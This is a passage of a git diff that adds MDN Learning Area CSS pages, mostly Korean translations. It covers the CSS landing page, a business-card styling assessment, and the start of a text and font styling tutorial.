+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Box_model#Background_clip">How to use <code>background-clip</code> to control how much of the box your background image covers</a>.</li>
+ <li><a href="/en-US/Learn/CSS/Styling_boxes/Box_model_recap#Changing_the_box_model_completely">How to change the box model completely using <code>box-sizing</code></a></li>
+ <li><a href="/en-US/Learn/CSS/Styling_boxes/Backgrounds">How to control backgrounds</a></li>
+ <li><a href="/en-US/Learn/CSS/Styling_boxes/Borders">How to control borders</a></li>
+ <li><a href="/en-US/Learn/CSS/Styling_boxes/Styling_tables">How to style an HTML table</a></li>
+ <li><a href="/en-US/Learn/CSS/Styling_boxes/Advanced_box_effects#Box_shadows">How to add shadows to boxes</a></li>
+</ul>
+</div>
+</div>
+
+<h2 id="Uncommon_and_advanced_techniques">Uncommon and advanced techniques</h2>
+
+<p>CSS allows very advanced design techniques. These articles help demistify the harder use cases you may face.</p>
+
+<h3 id="General">General</h3>
+
+<ul>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Cascade_and_inheritance#Specificity">How to calculate specificity of a CSS selector</a></li>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/Cascade_and_inheritance#Controlling_inheritance">How to control inheritance in CSS</a></li>
+</ul>
+
+<h3 id="Advanced_effects">Advanced effects</h3>
+
+<ul>
+ <li><a href="/en-US/Learn/CSS/Styling_boxes/Advanced_box_effects#Filters">How to use filters in CSS</a></li>
+ <li><a href="/en-US/Learn/CSS/Styling_boxes/Advanced_box_effects#Blend_modes">How to use blend modes in CSS</a></li>
+</ul>
+
+<h3 id="Layout">Layout</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/CSS/Flexible_boxes">Using CSS flexible boxes</a></li>
+ <li><a href="/en-US/docs/Web/Guide/CSS/Using_multi-column_layouts" title="/en-US/docs/Web/Guide/CSS/Using_multi-column_layouts">Using CSS multi-column layouts</a></li>
+ <li><a href="/en-US/docs/Web/Guide/CSS/Getting_started/Content">Using CSS generated content</a></li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<p><a href="/en-US/docs/Learn/CSS/Howto/CSS_FAQ">CSS FAQ</a> — A variety of topics: from debugging to selector usage.</p>
diff --git a/files/ko/learn/css/index.html b/files/ko/learn/css/index.html
new file mode 100644
index 0000000000..7b7c715da8
--- /dev/null
+++ b/files/ko/learn/css/index.html
@@ -0,0 +1,60 @@
+---
+title: CSS를 이용한 HTML 스타일링 익히기
+slug: Learn/CSS
+tags:
+  - Beginner
+  - CSS
+  - CodingScripting
+  - Landing
+  - Topic
+translation_of: Learn/CSS
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">{{glossary("CSS")}}(Cascading Stylesheets – 종속형 스타일시트)는 {{glossary("HTML")}}을 익힌 후 가장 먼저 배워야할 웹기술입니다. HTML이 콘텐츠의 구조와 의미를 정의하는 반면 CSS는 스타일과 레이아웃을 지정합니다. 예를 들어, CSS를 사용하면 콘텐츠의 글꼴, 색상, 크기 및 간격을 변경하거나, 여러 개의 열로 분할하거나, 애니메이션이나 기타 장식 효과를 추가할 수 있습니다.</p>
+
+<h2 id="학습_경로">학습 경로</h2>
+
+<p>CSS에 도전하기 전에 HTML의 기초를 익혀야 합니다. 먼저 <a href="/ko/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a>를 진행하면서 다음을 익히시는게 좋습니다.</p>
+
+<ul>
+ <li><a href="/ko/docs/Learn/CSS/Introduction_to_CSS">CSS 소개</a>부터 시작하는 CSS</li>
+ <li>고급 <a href="/ko/Learn/HTML#구성">HTML 주제</a></li>
+ <li><a href="/ko/docs/Learn/JavaScript">JavaScript</a> 및 웹페이지에 동적 기능을 추가하는 법</li>
+</ul>
+
+<p>HTML의 기본 원리를 이해하고 나면, HTML과 CSS 사이를 왕복하며 동시에 학습하는걸 추천드립니다. HTML은 CSS를 활용할 때 훨씬 흥미롭고 재미있으며, HTML을 모르고는 CSS를 제대로 배울 수 없기 때문입니다.</p>
+
+<p>이 주제를 시작하기 전에, 컴퓨터의 사용법과 웹을 둘러보는 일이 익숙해야 합니다. <a href="/ko/docs/Learn/Getting_started_with_the_web/Installing_basic_software">기본 소프트웨어 설치하기</a>에서 설명하는 기본적인 작업 환경을 갖춰야 하고, <a href="/ko/docs/Learn/Getting_started_with_the_web/Dealing_with_files">파일 다루기</a>에서 설명하는 파일 생성 및 관리도 이해해야 합니다. 두 안내서 모두 처음 시작하는 분을 위한 <a href="/ko/docs/Learn/Getting_started_with_the_web">Web과 함께 시작하기</a>의 일부분이죠.</p>
+
+<p>본 주제를 시작하기 전에 <a href="/ko/docs/Learn/Getting_started_with_the_web">Web과 함께 시작하기</a>를 먼저 해보시는게 좋겠습니다. 그러나 CSS 기초 글에서 다루는걸 여기 <a href="/ko/docs/Learn/CSS/Introduction_to_CSS">CSS 소개</a>에서 훨씬 상세하게 다루므로 필수는 아닙니다.</p>
+
+<h2 id="구성">구성</h2>
+
+<p>아래는 추천 순서로 정렬한 본 주제의 구성입니다. 첫 항목부터 시작하세요.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/CSS/Introduction_to_CSS">CSS 소개</a></dt>
+ <dd>CSS 작동 원리에 대한 기초로, 선택자와 속성, CSS 규칙을 쓰는 법, HTML에 적용하기, 길이나 색상 등 단위를 특정하는 법, 종속과 상속, 박스 모델의 기초, CSS 디버그 등을 다룹니다.</dd>
+ <dt><a href="/ko/docs/Learn/CSS/Styling_text">텍스트 스타일링</a></dt>
+ <dd>여기서 글꼴, 굵기 및 기울임꼴, 줄과 문자 간격, 그림자 및 기타 텍스트 기능 설정을 비롯한 텍스트 스타일링 기본 사항을 살펴 봅니다. 페이지에 맞춤 글꼴을 적용하거나 목록 및 링크에 스타일을 적용할 수도 있습니다.</dd>
+ <dt><a href="/ko/docs/Learn/CSS/Styling_boxes">박스 스타일링</a></dt>
+ <dd>다음으로 웹페이지 레이아웃을 위한 기본 단계 중 하나인 박스 스타일링을 살펴 봅니다. 먼저 박스 모델을 다시 요약하여 설명한 후, 내부 여백(padding), 테두리(borders) 및 외부 여백(margins)을 설정하거나 사용자 지정 배경색, 이미지 및 기타 기능을 설정하고, 박스에 그림자나 필터와 같은 멋진 기능을 설정하는 등 상자 레이아웃을 제어하는 법을 알아봅니다.</dd>
+ <dt><a href="/ko/docs/Learn/CSS/CSS_layout">CSS 레이아웃</a></dt>
+ <dd>이 시점에서 이미 CSS 기초, 텍스트 스타일링 및 콘텐트가 포함된 박스의 스타일링 및 조작을 살펴보았습니다. 이제는 박스를 뷰포트(viewport) 또는 다른 박스와 관련하여 올바른 위치에 배치하는 방법을 살펴볼 시간입니다. 필요한 사전 요구 사항을 포함하여, CSS 레이아웃, 디스플레이(display) 속성의 다양한 설정, 플로트(float) 및 위치 지정(positioning)과 관련된 기존 레이아웃 방식과 더불어 유동적 박스(flexbox) 같은 새롭고 놀라운 레이아웃 도구를 깊게 살펴봅니다.</dd>
+ <dt>반응형 디자인 (TBD)</dt>
+ <dd>요즘은 다양한 장치로 웹을 탐색하기 때문에 <a href="/ko/docs/Web/Guide/Responsive_design">반응형 웹 디자인</a>(RWD; Responsive Web Design)은 핵심적인 웹 개발 기술이 되었습니다. 이 모듈에서는 반응형 웹 디자인의 기본 원칙과 도구들을 다루며, 화면 너비, 방향, 해상도와 같은 장치 특성에 따라 다른 CSS를 적용하는 방법을 설명합니다. 그리고 이런 특성에 따라 다양한 비디오와 이미지를 제공할 수 있게 하는 기술을 탐구합니다.</dd>
+</dl>
+
+<h2 id="CSS로_일상적인_문제_해결하기">CSS로 일상적인 문제 해결하기</h2>
+
+<p><a href="/ko/docs/Learn/CSS/Howto">CSS를 사용하여 일반적인 문제 해결하기</a>는 웹페이지를 만들 때의 매우 흔한 문제들을 CSS를 사용해 해결하는 방법을 살펴보는 섹션들의 링크를 제공합니다.</p>
+
+<p>시작부터 가장 많이 하게 되는 일은 HTML 요소들(elements)의 색상과 배경색을 지정하고, 크기나 모양 또는 위치를 변경하고, 테두리(borders)를 정의하고 추가하는 일입니다. 하지만 일단 CSS의 기초에 대해 확실하게 이해만 하면 못하는 일이 거의 없게 됩니다. CSS 학습의 장점 중 하나는 잘 모르는 것에 대해서도 일단 기초만 익혀두면 무엇을 할 수 있고 무엇을 할 수 없는지를 꽤 정확하게 느낄 수 있다는 것입니다!</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS">MDN의 CSS</a></dt>
+ <dd>MDN의 CSS 문서 목록에 대한 주 진입 지점입니다. CSS 언어의 모든 기능에 대한 자세한 참조 문서 목록을 찾을 수 있습니다. 혹시 속성(property)이 가질 수 있는 모든 값(values)에 대한 정보가 필요한가요? 그렇다면 이곳으로 이동하세요.</dd>
+</dl>
diff --git a/files/ko/learn/css/introduction_to_css/기본적인_css_이해/index.html b/files/ko/learn/css/introduction_to_css/기본적인_css_이해/index.html
new file mode 100644
index 0000000000..d16df40221
--- /dev/null
+++ b/files/ko/learn/css/introduction_to_css/기본적인_css_이해/index.html
@@ -0,0 +1,128 @@
+---
+title: 기본적인 CSS 이해
+slug: Learn/CSS/Introduction_to_CSS/기본적인_CSS_이해
+translation_of: Learn/CSS/Building_blocks/Fundamental_CSS_comprehension
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenu("Learn/CSS/Introduction_to_CSS/Debugging_CSS", "Learn/CSS/Introduction_to_CSS")}}</div>
+
+<p class="summary">You've covered a lot in this module, so it must feel good to have reached the end! The final step before you move on is to attempt the assessment for the module — this involves a number of related exercises that must be completed in order to create the final design — a business card/gamer card/social media profile.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisites:</th>
+   <td>Before attempting this assessment you should have already worked through all the articles in this module.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objective:</th>
+   <td>To test comprehension of fundamental CSS theory, syntax and mechanics.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Starting_point">Starting point</h2>
+
+<p>To get this assessment started, you should:</p>
+
+<ul>
+ <li>Go and grab the <a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension/index.html">HTML file for the exercise</a>, and the <a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension/chris.jpg">associated image file</a>, and save them in a new directory on your local computer. If you want to use your own image file and fill your own name in, you are welcome to — just make sure the image is square.</li>
+ <li>Grab the <a href="https://github.com/mdn/learning-area/blob/master/css/introduction-to-css/fundamental-css-comprehension/style-resources.txt">CSS resources text file</a> — this contains a set of raw selectors and rulesets that you'll need to study and combine to answer part of this assessment.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: Alternatively, you could use a site like <a class="external external-icon" href="http://jsbin.com/">JSBin</a> or <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> to do your assessment. You could paste the HTML and fill in the CSS into one of these online editors, and use <a href="http://mdn.github.io/learning-area/css/introduction-to-css/fundamental-css-comprehension/chris.jpg">this URL</a> to point the <code>&lt;img&gt;</code> element to the image file. If the online editor you are using doesn't have a separate CSS panel, feel free to put it in a <code>&lt;style&gt;</code> element in the head of the document.</p>
+</div>
+
+<h2 id="Project_brief">Project brief</h2>
+
+<p>You have been provided with some raw HTML and an image, and need to write the necessary CSS to style this into a nifty little online business card, which can perhaps double as a gamer card or social media profile. The following sections describe what you need to do.</p>
+
+<p>Basic setup:</p>
+
+<ul>
+ <li>First of all, create a new file in the same directory as your HTML and image files. Call it something really imaginative like <code>style.css</code>.</li>
+ <li>Link your CSS to your HTML file via a <code>&lt;link&gt;</code> element.</li>
+ <li>The first two rulesets in the CSS resource file are yours, for FREE! After you've finished rejoicing at your good fortune, copy and paste them into the top of your new CSS file. Use them as a test to make sure your CSS is properly applied to your HTML.</li>
+ <li>Above the two rules, add a CSS comment with some text inside it to indicate that this is a set of general styles for the overall page. "General page styles" would do. Also add three more comments at the bottom of the CSS file to indicate styles specific to the setup of the card container, styles specific to the header and footer, and styles specific to the main business card contents. From now on, subsequent styles added to the stylesheet should be organized in an appropriate place.</li>
+</ul>
+
+<p>Taking care of the selectors and rulesets provided in the CSS resource file:</p>
+
+<ul>
+ <li>Next up, we'd like you to look at the four selectors, and calculate the specificity for each one. Write these down somewhere where they can be found later on, such as in a comment at the top of your CSS.</li>
+ <li>Now it's time to put the right selector on the right rule set! You've got four pairs of selector and ruleset to match in your CSS resources. Do this now, and add them to your CSS file. You need to:
+  <ul>
+   <li>Give the main card container a fixed width/height, solid background color, border, and border-radius (rounded corners!), amongst other things.</li>
+   <li>Give the header a background gradient that goes from darker to lighter, plus rounded corners that fit in with the rounded corners set on the main card container.</li>
+   <li>Give the footer a background gradient that goes from lighter to darker, plus rounded corners that fit in with the rounded corners set on the main card container.</li>
+   <li>Float the image to the right so that it sticks to the right hand side of the main business card contents, and give it a max-height of 100% (a clever trick that ensures that it will grow/shrink to stay the same height as its parent container, regardless of what height it becomes.)</li>
+  </ul>
+ </li>
+ <li>Beware! There are two errors in the provided rulesets. Using any technique that you know, track these down and fix them before moving on.</li>
+</ul>
+
+<p>New rulesets you need to write:</p>
+
+<ul>
+ <li>Write a ruleset that targets both the card header, and card footer, giving them both a computed total height of 50px (including a content height of 30px and padding of 10px on all sides.) But express it in <code>em</code>s.</li>
+ <li>The default margin applied to the <code>&lt;h2&gt;</code> and <code>&lt;p&gt;</code> elements by the browser will interfere with our design, so write a rule that targets all these elements and sets their margin to 0.</li>
+ <li>To stop the image from spilling out of the main business card content (the <code>&lt;article&gt;</code> element), we need to give it a specific height. Set the <code>&lt;article&gt;</code>'s height to 120px, but expressed in <code>em</code>s. Also give it a background color of semi-transparent black, resulting in a slightly darker shade that lets the background red color shine through a bit too.</li>
+ <li>Write a ruleset that gives the <code>&lt;h2&gt;</code> an effective font size of 20px (but expressed in <code>em</code>s) and an appropriate line height to place it in the center of the header's content box. Recall from earlier that the content box height should be 30px — this gives you all the numbers you need to calculate the line height.</li>
+ <li>Write a ruleset that gives the <code>&lt;p&gt;</code> inside the footer an effective font size of 15px (but expressed in <code>em</code>s) and an appropriate line height to place it in the center of the footer's content box. Recall from earlier that the content box height should be 30px — this gives you all the numbers you need to calculate the line height.</li>
+ <li>As a last little touch, give the paragraph inside the <code>&lt;article&gt;</code> an appropriate padding value so that its left edge lines up with the <code>&lt;h2&gt;</code> and footer paragraph, and set its color to be fairly light so it is easy to read.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: Bear in mind that the second ruleset sets <code>font-size: 10px;</code> on the <code>&lt;html&gt;</code> element — this means that for any descendants of <code>&lt;html&gt;</code>, an em will be equal to 10px rather than 16px as it is by default. (This is of course, provided the descendants in question don't have any ancestors sitting in between them and <code>&lt;html&gt;</code> in the hierarchy that have a different <code>font-size</code> set on them. This could affect the values you need, although in this simple example this is not an issue.)</p>
+</div>
+
+<p>Other things to think about:</p>
+
+<ul>
+ <li>You'll get bonus marks if you write your CSS for maximum readability, with a separate declaration on each line.</li>
+ <li>You should include <code>.card</code> at the start of the selector chain in all your rules, so that these rules wouldn't interfere with the styling of any other elements if the business card were to be put on a page with a load of other content.</li>
+</ul>
+
+<h2 id="Hints_and_tips">Hints and tips</h2>
+
+<ul>
+ <li>You don't need to edit the HTML in any way, except to apply the CSS to your HTML.</li>
+ <li>When trying to work out the <code>em</code> value you need to represent a certain pixel length, think about what base font size the root (<code>&lt;html&gt;</code>) element has, and what it needs to be multiplied by to get the desired value. That'll give you your em value, at least in a simple case like this.</li>
+</ul>
+
+<h2 id="Example">Example</h2>
+
+<p>The following screenshot shows an example of what the finished design should look like:</p>
+
+<p><img alt="A view of the finished business card, show a reader header and footer, and a darker center panel containing the main details and image." src="https://mdn.mozillademos.org/files/12616/business-card.png" style="display: block; margin: 0 auto;"></p>
+
+<p> </p>
+
+<h2 id="Assessment">Assessment</h2>
+
+<p>If you are following this assessment as part of an organized course, you should be able to give your work to your teacher/mentor for marking. If you are self-learning, then you can get the marking guide fairly easily by asking on the <a href="https://discourse.mozilla.org/t/fundamental-css-comprehension-assessment/24682">discussion thread about this exercise</a>, or in the <a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC channel on <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>. Try the exercise first — there is nothing to be gained by cheating!</p>
+
+<p>{{PreviousMenu("Learn/CSS/Introduction_to_CSS/Debugging_CSS", "Learn/CSS/Introduction_to_CSS")}}</p>
+
+<p> </p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/How_CSS_works">How CSS works</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Syntax">CSS syntax</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Selectors">Selectors</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Selectors/Simple_selectors">Simple selectors</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Selectors/Attribute_selectors">Attribute selectors</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classes and pseudo-elements</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Selectors/Combinators_and_multiple_selectors">Combinators and multiple selectors</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Values_and_units">CSS values and units</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Cascade_and_inheritance">Cascade and inheritance</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Box_model">The box model</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS">Debugging CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Fundamental_CSS_comprehension">Fundamental CSS comprehension</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/ko/learn/css/styling_text/fundamentals/index.html b/files/ko/learn/css/styling_text/fundamentals/index.html
new file mode 100644
index 0000000000..64ee947683
--- /dev/null
+++ b/files/ko/learn/css/styling_text/fundamentals/index.html
@@ -0,0 +1,734 @@
+---
+title: 기본적인 텍스트 및 글꼴 스타일링
+slug: Learn/CSS/Styling_text/Fundamentals
+translation_of: Learn/CSS/Styling_text/Fundamentals
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text")}}</div>
+
+<p class="summary"><span class="seoSummary">이 기사에서는 {{glossary("CSS")}} 를 사용하여 텍스트 스타일링을 마스터하기 위한 과정을 시작합니다.</span> 여기에서는 글꼴 굵기, 종류 및 스타일, 글꼴 약식 (shorthand), 텍스트 정렬 및 기타 효과, 줄 및 문자 간격 설정을 포함하여, 텍스트/글꼴 스타일링의 모든 기본 사항에 대해 자세히 설명합니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">전제조건</th>
+   <td>Basic computer literacy, HTML basics (study <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>), CSS basics (study <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>웹 페이지에서 텍스트 스타일을 지정하는 데 필요한 기본 속성 및 기술 습득하기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="CSS_에서_텍스트_스타일링과_관련이_있는_것은_무엇입니까">CSS 에서 텍스트 스타일링과 관련이 있는 것은 무엇입니까?</h2>
+
+<p>HTML 및 CSS 를 사용한 작업에서 이미 경험한 것처럼 요소 내부의 텍스트는 요소의 내용 박스안에 배치됩니다. 콘텐츠 영역의 왼쪽 상단 (또는 RTL 언어 콘텐츠의 경우, 오른쪽 상단) 에서 시작하여 행의 끝으로 흐릅니다. 끝까지 도달하면 다음 줄로 내려가서 모든 내용이 박스에 들어갈 때까지 다음 줄로 계속 진행합니다. 텍스트 내용은 일련의 인라인 요소처럼 효과적으로 작동하며, 서로 인접한 줄에 배치되면 줄 끝에 도달할 때까지 줄 바꿈을 만들지 않거나, {{htmlelement("br")}} 요소를 사용하여 수동으로 줄 바꿈을 수행하지 않습니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: 위의 단락으로 인해 혼동을 느끼게 되더라도 상관없이 — go back and review our <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Box_model">박스 모델</a> 기사를 검토하여, 박스 모델 이론을 정리하십시오.</p>
+</div>
+
+<p>텍스트 스타일을 지정하는 데 사용되는 CSS 속성은 일반적으로 두 가지 카테고리로 분류되며, 이 기사에서는 별도로 살펴보겠습니다.properties used to style text generally fall into two categories, which we'll look at separately in this article:</p>
+
+<ul>
+ <li><strong>글꼴 스타일</strong>: 텍스트에 적용되는 글꼴에 영향을 주고, 적용되는 글꼴, 크기, 굵기, 이탤릭체 등에 영향을 주는 속성입니다.</li>
+ <li><strong>텍스트 레이아웃 스타일</strong>: 텍스트의 간격 및 기타 레이아웃 기능에 영향을 주는 속성으로, 예를 들어 선 과 문자 사이의 간격 및 내용 박스 내에서 텍스트가 정렬되는 방식을 조작할 수 있습니다.</li>
+</ul>
+
+<div class="note">
+<p><strong>참고</strong>: 요소 내부의 텍스트는 모두 하나의 단일 entity 로 영향을 받습니다. 텍스트의 하위 섹션은 적절한 요소 (예: {{htmlelement("span")}} 또는 {{htmlelement("strong")}}) 으로 감싸거나, or use a text-specific pseudo-element like <a href="/en-US/docs/Web/CSS/::first-letter">::first-letter</a> (요소 텍스트의 첫 번째 문자 선택), <a href="/en-US/docs/Web/CSS/::first-line">::first-line</a> (요소 텍스트의 첫 번째 행 선택) 또는 <a href="/en-US/docs/Web/CSS/::selection">::selection</a> (커서로 현재 강조 표시된 텍스트 선택) 과 같은 텍스트 특정 pseudo-element 를 사용하십시오.</p>
+</div>
+
+<h2 id="글꼴">글꼴</h2>
+
+<p>글꼴 스타일링의 속성을 살펴보도록 하겠습니다. 이 예에서는 동일한 HTML 샘플에 몇 가지 다른 CSS 속성을 적용합니다:</p>
+
+<pre class="brush: html">&lt;h1&gt;Tommy the cat&lt;/h1&gt;
+
+&lt;p&gt;I remember as if it were a meal ago...&lt;/p&gt;
+
+&lt;p&gt;Said Tommy the Cat as he reeled back to clear whatever foreign matter
+ may have nestled its way into his mighty throat. Many a fat alley rat
+had met its demise while staring point blank down the cavernous barrel of
+ this awesome prowling machine. Truly a wonder of nature this urban
+predator — Tommy the cat had many a story to tell. But it was a rare
+occasion such as this that he did.&lt;/p&gt;</pre>
+
+<p><a href="http://mdn.github.io/learning-area/css/styling-text/fundamentals/">완성된 예제는 Github</a> 에서 찾을 수 있습니다 (<a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/fundamentals/index.html">소스 코드</a> 참조.)</p>
+
+<h3 id="색상">색상</h3>
+
+<p>{{cssxref("color")}} 속성은 선택한 요소의 전경 내용의 색상을 설정합니다 (일반적으로 텍스트이지만, {{cssxref("text-decoration")}} 속성을 사용하여 텍스트에 배치되는 밑줄이나 오버라인과 같은 몇 가지 다른 것도 포함할 수 있습니다.</p>
+
+<p><code>color</code> 은 모든 <a href="/en-US/Learn/CSS/Introduction_to_CSS/Values_and_units#Colors">CSS 색상 단위</a> 를 사용할 수 있습니다. 예를 들면 다음과 같습니다:</p>
+
+<pre class="brush: css">p {
+  color: red;
+}</pre>
+
+<p>이렇게하면 다음과 같이 표준 브라우저 기본값이 검은색이 아닌 빨간색으로 표시됩니다:</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;h1&gt;Tommy the cat&lt;/h1&gt;
+
+&lt;p&gt;I remember as if it were a meal ago...&lt;/p&gt;
+
+&lt;p&gt;Said Tommy the Cat as he reeled back to clear whatever foreign matter
+ may have nestled its way into his mighty throat. Many a fat alley rat
+had met its demise while staring point blank down the cavernous barrel of
+ this awesome prowling machine. Truly a wonder of nature this urban
+predator — Tommy the cat had many a story to tell. But it was a rare
+occasion such as this that he did.&lt;/p&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Color', '100%', 220) }}</p>
+
+<h3 id="글꼴_종류">글꼴 종류</h3>
+
+<p>텍스트에 다른 글꼴을 설정하려면, {{cssxref("font-family")}} 속성을 사용하여 브라우저에서 선택한 요소에 적용할 글꼴 (또는 글꼴 목록) 을 지정할 수 있습니다. 브라우저는 웹 사이트에 액세스하는 컴퓨터에서 글꼴을 사용할 수 있는 경우에만 글꼴을 적용합니다; 그렇지 않으면, 브라우저 {{anch("Default fonts", "default font")}} 만 사용합니다. 간단한 예는 다음과 같습니다:</p>
+
+<pre class="brush: css">p {
+  font-family: arial;
+}</pre>
+
+<p>이렇게하면 페이지의 모든 단락이 임의의 컴퓨터에 있는 arial 글꼴을 채택하게 됩니다.</p>
+
+<h4 id="웹_안전_글꼴">웹 안전 글꼴</h4>
+
+<p>글꼴 사용가능 여부에 대해 말하자면, 일반적으로 모든 시스템에서 사용할 수 있는 글꼴의 수는 한정되어 있으므로 큰 걱정없이 사용할 수 있습니다. 이른바 <strong>웹 안전 글꼴 </strong>입니다.</p>
+
+<p>대부분의 경우, 웹 개발자로서 텍스트 내용을 표시하는 데 사용되는 글꼴을 보다 구체적으로 제어하려고 합니다. 문제는 웹 페이지를 보는 데 사용되는 컴퓨터에서 어떤 글꼴을 사용할 수 있는지 알 수 있는 방법을 찾는 것입니다. 모든 경우에 이것을 알 수 있는 방법은 없지만, 웹 안전 글꼴은 가장 많이 사용되는 운영 체제 (윈도우, 맥, 가장 일반적인 리눅스 배포판, 안드로이드 및 iOS) 의 거의 모든 인스턴스에서 사용할 수 있는 것으로 알려져 있습니다.</p>
+
+<p>실제 웹 안전 글꼴 목록은 운영 체제가 발전함에 따라 변경될 수 있지만, 최소한 다음과 같은 웹 안전 글꼴을 고려하는 것이 좋습니다 (이중 많은 글꼴이 90 년대 후반과 2000 년대 초에 웹 initiative 를 위한 Microsoft <em><a href="https://en.wikipedia.org/wiki/Core_fonts_for_the_Web">Core 글꼴</a></em> 덕분에 많은 사람들이 대중화 되었습니다):</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">이름</th>
+   <th scope="col" style="white-space: nowrap;">일반 유형</th>
+   <th scope="col">참고</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Arial</td>
+   <td>sans-serif</td>
+   <td>It's often considered best practice to also add <em>Helvetica</em> as a preferred alternative to <em>Arial</em> as, although their font faces are almost identical, <em>Helvetica</em> is considered to have a nicer shape, even if <em>Arial</em> is more broadly available.</td>
+  </tr>
+  <tr>
+   <td>Courier New</td>
+   <td>monospace</td>
+   <td>Some OSes have an alternative (possibly older) version of the <em>Courier New</em> font called <em>Courier</em>. It's considered best practice to use both with <em>Courier New</em> as the preferred alternative.</td>
+  </tr>
+  <tr>
+   <td style="white-space: nowrap;">Georgia</td>
+   <td>serif</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td style="white-space: nowrap;">Times New Roman</td>
+   <td>serif</td>
+   <td>Some OSes have an alternative (possibly older) version of the <em>Times New Roman</em> font called <em>Times</em>. It's considered best practice to use both with <em>Times New Roman</em> as the preferred alternative.</td>
+  </tr>
+  <tr>
+   <td>Trebuchet MS</td>
+   <td>sans-serif</td>
+   <td>You should be careful with using this font — it isn't widely available on mobile OSes.</td>
+  </tr>
+  <tr>
+   <td>Verdana</td>
+   <td>sans-serif</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note</strong>: Among various resources, the <a href="http://www.cssfontstack.com/">cssfontstack.com</a> website maintains a list of web safe fonts available on Windows and macOS operating systems, which can help you make your decision about what you consider safe for your usage.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: There is a way to download a custom font along with a webpage, to allow you to customize your font usage in any way you want: <strong>web fonts</strong>. This is a little bit more complex, and we will be discussing this in a separate article later on in the module.</p>
+</div>
+
+<h4 id="기본_글꼴">기본 글꼴</h4>
+
+<p>CSS 는 글꼴의 일반적인 다섯 가지 이름:  <code>serif</code><font face="Open Sans, Arial, sans-serif">, </font><code>sans-serif</code>,<font face="Open Sans, Arial, sans-serif"> </font><code>monospace</code>, <code>cursive</code> 및 <code>fantasy</code> 를 정의합니다. 이러한 일반 이름을 사용할 때 사용되는 정확한 글꼴은 각 브라우저에 달려 있으며, 실행중인 운영체제에 따라 다를 수 있습니다. 브라우저가 최소한 적합한 글꼴을 제공하기 위해 최선을 다하는 최악의 시나리오를 나타나냅니다. <code>serif</code>, <code>sans-serif</code> 및 <code>monospace</code> 는 상당히 예측가능하며 합리적인 무언가를 제공해야 합니다. 반면에 , <code>cursive</code> 및 <code>fantasy</code> 는 예측하기 어렵기 때문에, 테스트할 때 신중하게 사용하는 것이 좋습니다.</p>
+
+<p>5 개의 이름은 다음과 같이 정의됩니다:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">용어</th>
+   <th scope="col">정의</th>
+   <th scope="col">예제</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>serif</code></td>
+   <td>serifs 가 있는 글꼴 (the flourishes and other small details you see at the ends of the strokes in some typefaces)</td>
+   <td><span style="font-family: serif;">My big red elephant</span></td>
+  </tr>
+  <tr>
+   <td><code>sans-serif</code></td>
+   <td>serifs 가 없는 글꼴.</td>
+   <td><span style="font-family: sans-serif;">My big red elephant</span></td>
+  </tr>
+  <tr>
+   <td><code>monospace</code></td>
